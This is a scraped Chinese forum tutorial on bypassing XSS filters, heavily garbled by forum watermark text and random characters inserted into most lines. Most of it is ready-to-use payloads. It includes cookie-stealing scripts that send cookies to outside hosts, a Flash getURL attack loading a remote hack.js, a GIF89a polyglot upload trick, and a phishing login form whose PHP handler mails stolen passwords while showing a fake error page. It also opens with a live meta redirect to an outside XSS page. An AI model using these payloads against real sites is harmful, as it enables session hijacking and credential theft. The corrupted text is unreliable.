还有:
8 t5 [# `; h" D; j- o1 |我爱电脑技术社区--打造最好的电脑技术自学交流平台<meta http-equiv="refresh" content="0; url=http://lovelaozang.cn/xss.html" />
# d* Q3 h( {9 b* W/ Cwww.520diannao.com电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站+ L1 r2 z8 Q/ u: j$ @
____ ____
1 t0 K8 q/ w( x' b/ / \ \
% @6 p) A' U7 o4 U6 c& L( a我爱电脑技术社区--打造最好的电脑技术自学交流平台______/ /_____________________________________\ \______
, m0 ^7 j. j& ~电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站| / / \ \ |
; Y6 b6 v8 Q3 M: _7 h- q) y电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站| / /.:Chapter 6 - 过滤绕过 :.\ \ |我爱电脑技术论坛! L- Y! O3 t/ ]" F! U
|___/ /___________________________________________\ \___|www.520diannao.com+ Z7 C! t; w4 |; w* n; Z' i
/ / \ \
9 [4 C( P- f: D8 ~: {- L" h, Xwww.520diannao.com/___/ \___\
6 B- M& M$ H9 K! T- @* X! C我爱电脑技术论坛0 s3 [- @1 Y0 J( [5 Y1 r/ x
事实上也不是那么简单就能绕过打造最好的电脑自学交流论坛" ^ O+ v- V6 s/ r9 V% ^. V4 M, H
htmlspecialchars()我爱电脑技术社区--打造最好的电脑技术自学交流平台/ q) m: L" _* u& i) B; _
( n7 H# S, P1 x! b8 B( N打造最好的电脑自学交流论坛这里有一些关于绕过xss的例子:www.520diannao.com0 O! d* H9 B9 h0 U
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\">
$ I$ ]6 D5 B8 S( D6 m打造最好的电脑自学交流论坛<META HTTP-EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\">
# a9 \- y5 b! h5 S! O我爱电脑技术论坛'">><marquee><h1>XSS</h1></marquee>
8 m4 R5 x+ |$ z1 S+ ?5 e2 _3 W3 G, h( I; c* d- E$ {2 K6 C9 d
'">><script>alert('XSS')</script>打造最好的电脑自学交流论坛( p$ k5 g, E, b$ Y3 J
1 {% X& m8 m" a& H% E) ]) U0 S
'>><marquee><h1>XSS</h1></marquee>电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站# X7 ~2 k. `- S$ s( I
& C! e: q8 G& i9 j# a我爱电脑技术社区--打造最好的电脑技术自学交流平台"><script alert(String.fromCharCode(88,83,83))</script>我爱电脑技术社区--打造最好的电脑技术自学交流平台% Q7 |4 M4 L* }0 u
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站1 c7 P) y/ T4 P( C
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>我爱电脑技术论坛( i# L! u2 {. Q; N
h- H! t$ R ?, {www.520diannao.com<div
/ a1 V d1 k4 @# N7 I6 D; X" awww.520diannao.comstyle="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
! v2 `! V) H. t( l3 ^% B5 k. S我爱电脑技术社区--打造最好的电脑技术自学交流平台de(88,83,83));'))">
* y; ]6 g3 `9 Y3 H4 d打造最好的电脑自学交流论坛
" j1 V8 _, c0 T7 }( H& q电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站window.alert("Xyli !";打造最好的电脑自学交流论坛3 N7 ]$ H4 ^& N' e
7 @ b- V! V* G* R"/></a></><img src=1.gif onerror=alert(1)>* N: E. W( D* B) ?0 c" p
: b. H' T% V5 \1 r/ m8 C; k" Q5 w! E3 K电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站[color=red' onmouseover="alert('xss')"]mouse over
1 w, v7 l+ z& |我爱电脑技术社区--打造最好的电脑技术自学交流平台! g8 u* |; r% `" A: o- T5 I6 h
<body onLoad="alert('XSS');"
% ?# t' I4 b. H" |# l6 T1 V9 g# uwww.520diannao.com
" [$ e( B: {/ g t0 |( \' X我爱电脑技术论坛<body onunload="javascript:alert('XSS');">
3 T j8 e0 H" C; Q& s1 ^2 C电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站
+ K" U% `# V s, M* v0 P) Z- twww.520diannao.comclick me打造最好的电脑自学交流论坛6 J1 p% ~9 n, }# a
. N/ t: P9 N7 \电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站<script language="JavaScript">alert('XSS')</script>
# |) W" u9 e' U7 U I5 B电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站打造最好的电脑自学交流论坛& F7 t% s+ Y9 g# o4 \' L4 S& s! K
<img src="javascript:alert('XSS')">打造最好的电脑自学交流论坛2 B7 P; p; T( x( d9 N
8 ]" ^0 e: x& e, p, N; X7 a! Q电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站'); alert('XSS
( }) c5 x9 c' D" q& p' o: a# h打造最好的电脑自学交流论坛我爱电脑技术社区--打造最好的电脑技术自学交流平台& |# y% z+ e# G" B8 @
<font style='color:expression(alert(document.cookie))'>
6 [! B. n9 H1 L& C我爱电脑技术社区--打造最好的电脑技术自学交流平台
4 D) J" e' m# E' H5 ]: M/ R8 o3 P打造最好的电脑自学交流论坛<IMG DYNSRC=\"javascript:alert('XSS')\">我爱电脑技术论坛" R5 s: {7 W6 K3 {
" L7 p* E1 m" n& C电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站<IMG LOWSRC=\"javascript:alert('XSS')\">
1 H8 \" C; x+ k& C" E我爱电脑技术论坛
5 t. G7 n% C8 i8 J我爱电脑技术论坛</textarea><script>alert(/xss/)</script>
~' K T' l' q( _7 O; x打造最好的电脑自学交流论坛www.520diannao.com2 a! i4 O9 J2 B7 ]3 U
</title><script>alert(/xss/)</script>电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站7 H* x4 q6 f3 u8 s$ ] K3 t" r
0 m7 a9 h# \6 k; ]6 g
<script src=http://yoursite.com/your_files.js></script>
) H& |( z0 ^7 v. S4 I! b
@; ^. n& D; d) |& {6 {. I, b"><script>alert(0)</script>我爱电脑技术社区--打造最好的电脑技术自学交流平台; S" D6 g! f: F0 K3 ]
打造最好的电脑自学交流论坛! o% b/ I1 b4 [* ~0 D4 z+ m
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>) ~8 Y0 R- F# _( |0 q
www.520diannao.com, p/ O; m( K) ?( q- M" z$ q4 y$ `3 K
<IMG SRC=\"jav ascript:alert('XSS');\">
5 s) d! O9 @' p我爱电脑技术社区--打造最好的电脑技术自学交流平台
3 \7 o$ _, w/ n$ ~打造最好的电脑自学交流论坛<IMG SRC=\"jav ascript:alert('XSS');\">电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站, I7 Z" t; }% U- I
打造最好的电脑自学交流论坛! L3 G0 i9 N. l7 S: l
<IMG SRC=\"jav ascript:alert('XSS');\">
: X9 u2 {( c+ c4 B! @& T
) E( O- I" Z5 u<marquee><script>alert('XSS')</script></marquee>打造最好的电脑自学交流论坛6 c2 n7 [0 S2 j0 v
6 B/ h0 M) e* @" G我爱电脑技术论坛<? echo('<scr)';打造最好的电脑自学交流论坛+ K) M+ C `2 {" t. n
echo('ipt>alert(\"XSS\"</script>'); ?>7 R" c. _$ G8 [4 M
. _5 V" U/ P4 p<IMG SRC=\"jav ascript:alert('XSS');\">电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站0 M# z$ n- R4 }- z$ A
/ @* \9 u; F# o4 S
<IMG SRC=\"jav ascript:alert('XSS');\">电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 T2 o3 r9 d1 i2 c
& \6 h$ s! h: n4 w
<marquee><script>alert('XSS')</script></marquee>
3 G+ h) S1 A1 s+ ?- z4 b$ c电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站
7 P' a) ]1 r- b; O2 _# R/ _ ?打造最好的电脑自学交流论坛<style>@im\port'\ja\vasc\ript:alert(\"XSS\"';</style>' k/ n. [; k" O" O8 v
我爱电脑技术社区--打造最好的电脑技术自学交流平台& n3 \& |/ o5 M+ n& m! q$ K7 o% |
<img src=foo.png onerror=alert(/xssed/) />
( E! v7 H3 p" V) N, J) `电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站
7 w; |- \% A8 G$ B电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站<script>alert(String.fromCharCode(88,83,83))</script>www.520diannao.com3 k+ v- ?9 D4 H
0 h2 S9 L; B! g; w我爱电脑技术论坛<scr<script>ipt>alert('XSS');</scr</script>ipt>
9 T( O6 [; n9 f/ B( t打造最好的电脑自学交流论坛我爱电脑技术社区--打造最好的电脑技术自学交流平台. N- D, P8 p! A; r; K3 Z( A) u
<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+9 {9 {- v2 C) N! X2 e
escape(document.cookie)</script>打造最好的电脑自学交流论坛1 A1 {* x9 n& J
# \0 j9 G+ ~5 j! U3 K& S1 B% J% B( w我爱电脑技术论坛<script src="http://www.evilsite.org/cookiegrabber.php"></script>我爱电脑技术论坛. a6 G' ^4 t& z$ ?
4 Q' Z: i# e* ]/ ]# c4 K& ]
<script>alert('XSS');</script>www.520diannao.com& m; L9 @* W6 Z: U/ e- z
0 p: Y/ Z% p; R' x0 E, dwww.520diannao.com<script>alert(1);</script>
X$ q. m( v7 ~" q2 }( v
" f" u. m, H( F2 l) a, q$ lFlash是用来做复杂的动画,模拟的,创造游戏等。
4 r3 {4 ~# g3 F我爱电脑技术论坛我爱电脑技术论坛4 q+ ^/ B: P- d& Z
getURL()这个函数是有趣的,可以用来我们的攻击。这个函数可以帮我们改变最终用户到其它页面。我爱电脑技术论坛8 `4 x# p) i; u) G
& g3 W4 D+ O' @ Z1 e6 B& X我爱电脑技术论坛它的语法是这样的:
' x2 S' W+ s7 S) t6 \, Owww.520diannao.comgetURL(url:String, [window: String,[method:String]])& @9 D( z* F* K
$ P: F: E8 j, F如:8 i7 L, \: j/ z4 o# y' N
getURL("http://lovelaozang.cn/login.php?logout=true","_self";
* _1 u& A1 e! ]# v5 T0 {电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站4 V' y, o) N* j& d7 P
url: 网站的地址电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站! w3 U" q$ U6 J, I( V4 [
window: 指定框架要求(_self, _blank…)我爱电脑技术论坛8 p K5 r: n9 B3 l3 i! L
- ^0 V. V u7 t# G5 ?: bmethod: 请求方法 GET or POST (by defect GET)打造最好的电脑自学交流论坛0 h z: {. I( W# ^" r/ J) I
: Y$ x$ H9 G; E) x- l
这里的处理动作和JavaScript以发布警报:打造最好的电脑自学交流论坛4 Z% x$ ?9 W2 y3 p7 u5 {
getURL("javascript:alert('XSS'";
6 y3 j8 p: a% O% u H电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站
* V# s, N* u5 G `# [4 \我爱电脑技术论坛在2002年表现出这种形式的危险
8 j4 `* Y" W) e b' M7 |" H我爱电脑技术论坛这种方式是一种可以发送用户的cookie的;电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站6 O9 H! ^% i( w6 j- C# g
getURL("javascript:alert(document.cookie)"+ E7 z& b$ A6 Z$ G3 \) u6 K( m
5 w! h# J4 g; c% x我爱电脑技术社区--打造最好的电脑技术自学交流平台在2005年12月,开辟新的途径,并出现构成已受益于两年前XSS和可能性,把一个文件Flash放在签名中,以提供一个永久性跨站脚本www.520diannao.com; T6 p1 U! |- M* @" @- F
+ ` ~$ O! b9 v0 ?0 t
攻击此外,作者的这种另类使用的技术,以便传给公司,以背离蠕虫着XSS的德萨米:Samy 重装上阵
( I( F, _& @" i' R% C- w我爱电脑技术社区--打造最好的电脑技术自学交流平台www.520diannao.com, H5 U b s, Z) }
用flash窃取cookie?电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站1 {& V6 K5 ^2 g; R( K: p" [1 q
不是,但有技术的做:
- |' Z+ Y9 E( @4 l6 ~打造最好的电脑自学交流论坛如:我爱电脑技术论坛( F1 L( ~# C, P: y+ J& Y9 G7 A
在一个FLASH文件:打造最好的电脑自学交流论坛) Y/ y- r1 r# I- }1 ?
GetURL("http://www.victime.com/page.php?var=<script src='http://www.lvoelaozang.cn/hack.js'></script>","_self";
3 F, @' y" ^( K5 T. A电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站: o) c. C! k# g" c* v. C
在这个hack.js文件里面有如下代码:
/ X2 k. N7 Q/ V, _0 ^5 d我爱电脑技术论坛document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;我爱电脑技术论坛& B/ Z( ]3 S! I
我爱电脑技术社区--打造最好的电脑技术自学交流平台3 o5 F9 b8 ^- a" E+ i1 {
这个解决方法很简单:就是禁止flash文件在你的WEB应用上使用.打造最好的电脑自学交流论坛0 c" R% C h7 |; T
1 [5 a8 a z8 ~9 X) k& y兴个例子,我们来新建一个hack.gif文件.然后用记事本打开文件,删除所有的内容,然后写入代码打造最好的电脑自学交流论坛' q1 u* i8 f6 {" \, |
GIF89a<script>alert("XSS"</script>
) p4 S; r6 ^& Q' L3 a# s% F% r电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站我爱电脑技术社区--打造最好的电脑技术自学交流平台$ u% [7 [1 _ g8 Z+ M; k
保存退出.www.520diannao.com. r- F' ]2 Z' U* H% q' f
上传hack.gif到相就的地方...此时跨站发生
8 l, d5 V! v* [6 F电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站不要用Mozillia Firefox来访问那张图片,Mozillia 不会执行我们的alert.要用Internet explorer.打造最好的电脑自学交流论坛, p+ e, \( n' l5 o
www.520diannao.com. P5 L) ]- V5 S0 D" u9 W2 _
为什么添加GIF89a ?打造最好的电脑自学交流论坛 N) T6 i8 y9 ~$ n$ M
因为很多上传程序会来检查我们的gif文件是否包含 'GIF89a',如果包括则认为是gif文件.打造最好的电脑自学交流论坛% A$ C2 _8 X4 L* v) ~5 o. Z
GIF89a<script src="http://lovelaozang.cn/cookiegrabber.php"></script>打造最好的电脑自学交流论坛; n, j) {& R$ p" w
我爱电脑技术社区--打造最好的电脑技术自学交流平台4 x3 d( a0 |' r& Q8 i
我们需要知道一些其它格式图片,头部所包含的代码.
) e/ E7 x. y+ o9 B/ K* m) g我爱电脑技术论坛打造最好的电脑自学交流论坛7 X4 M: `, b+ z* C0 O3 G
PNG = ‰PNG我爱电脑技术社区--打造最好的电脑技术自学交流平台8 O' q2 k T8 M5 s' N
GIF = GIF89a
/ E3 M. ~ V: ^+ t/ r) ?我爱电脑技术社区--打造最好的电脑技术自学交流平台JPG = ÿØÿà JFIF我爱电脑技术社区--打造最好的电脑技术自学交流平台2 u4 q y7 o9 ]
BMP = BMFÖ; Y7 U5 L9 h( _. w6 `7 b# A
8 Y" }% t( X7 F/ q1 V我爱电脑技术论坛为了安全不要仅仅只检查getimagesize()
% Y* v, A4 h! _/ h# ^打造最好的电脑自学交流论坛www.520diannao.com2 ]: p0 v& I/ ^
你是否明白什么是钓鱼?什么是XSS?
; V/ g/ {* A" _ k8 y0 g我爱电脑技术论坛打造最好的电脑自学交流论坛/ O0 q ?$ |. L% _: {- |
在这个例子里,有必需找到一个易受攻击的网站去XSS并注入那里,身于一种形式,以自己直接在网址以下代码
% m+ Z! z, B/ q. h$ U1 T- T6 W我爱电脑技术论坛<p>Enter your login and password, thank:</p>打造最好的电脑自学交流论坛8 k+ W9 w p$ H& p
<form action="http://hax0r.com/mail.php">
/ {' F8 g% E: z8 S3 Gwww.520diannao.com<table><tr><td>Login:</td><td><input type=text length=20 name=login>
1 Z- U4 w w' h) i O4 \我爱电脑技术社区--打造最好的电脑技术自学交流平台</td></tr><tr><td>assword:</td><td>打造最好的电脑自学交流论坛3 q9 s* Q0 @0 `5 V# w& r) ?
<input type=text length=20 name=password>打造最好的电脑自学交流论坛 I, a# L. V8 N0 N6 G
</td></tr></table><input type=submit value= OK >
9 n5 ^, f; [) |( z; ?5 [4 ?我爱电脑技术论坛</form>
, m. \1 D' j' o. _; ^
! Q! P8 j8 g8 p* T4 T- M* c( ]9 T我爱电脑技术论坛这个通过这个模仿的表单,然后利用mail.php通过电子邮件把表单里的数据发送给你。我爱电脑技术论坛( g$ P( p4 F) ~
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
' t2 l$ V. D2 ]电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站transitional.dtd">
% y. X9 n6 }/ V+ I0 q q* \' e<html xmlns="http://www.w3.org/1999/xhtml">
1 X+ c1 W% X, [' U" W- G5 F<head>
0 n) W8 M' R% Lwww.520diannao.com<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />打造最好的电脑自学交流论坛& a' w! |3 u. p$ u( S* @7 E& t
<title>Error</title>我爱电脑技术社区--打造最好的电脑技术自学交流平台' A' j; k. J; H5 O0 _# q
<style type="text/css">我爱电脑技术论坛9 L A0 P; l0 y8 |
<!--www.520diannao.com0 S4 H& R7 l/ e
body,td,th {
" J; y$ u/ K- s, [5 r$ n* Zwww.520diannao.comcolor: #FFFFFF;
, V( i& ]* P+ z}电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站/ [; L* w" k- `4 J2 z; H
body {电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站1 F9 J! Z! Y `! s: A7 H9 ~
background-color: #000000;
. l `! v8 {4 P8 b Z" \/ [" m电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站}
8 l+ J8 ~; ^$ x% Y, k& W6 w我爱电脑技术社区--打造最好的电脑技术自学交流平台-->
5 a8 o: k" M& t* ~9 Q) E我爱电脑技术论坛</style></head>
* P. w1 T# c4 Z& v( L, g4 h+ u电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站<?php我爱电脑技术社区--打造最好的电脑技术自学交流平台+ G& u$ R1 ~* x- \7 ^( a* t
$login = $HTTP_GET_VARS["login"];
7 D. c' ` M; d( R7 W我爱电脑技术社区--打造最好的电脑技术自学交流平台$password = $HTTP_GET_VARS["password"];打造最好的电脑自学交流论坛( g6 [! M- }* o2 t, G% V8 S( p0 }
mail("email@example.com", "Cookie stealed ! - thx xyli ", $password , $login );电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站+ |1 K' g W T4 D" U9 @
?>
2 |- F* h' B/ Q, K& z<body>9 ~3 a+ Z4 ~& Q, A
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>; @+ ?0 l: \! g; J. l
</body>
9 a1 Z& n" J" H. s打造最好的电脑自学交流论坛</html>打造最好的电脑自学交流论坛8 k( E# P! d" P/ o+ r2 u' Q
打造最好的电脑自学交流论坛6 T0 M$ L% c' A, ]# I! c
用户会认为,服务器可能超过了负载,并不会怀疑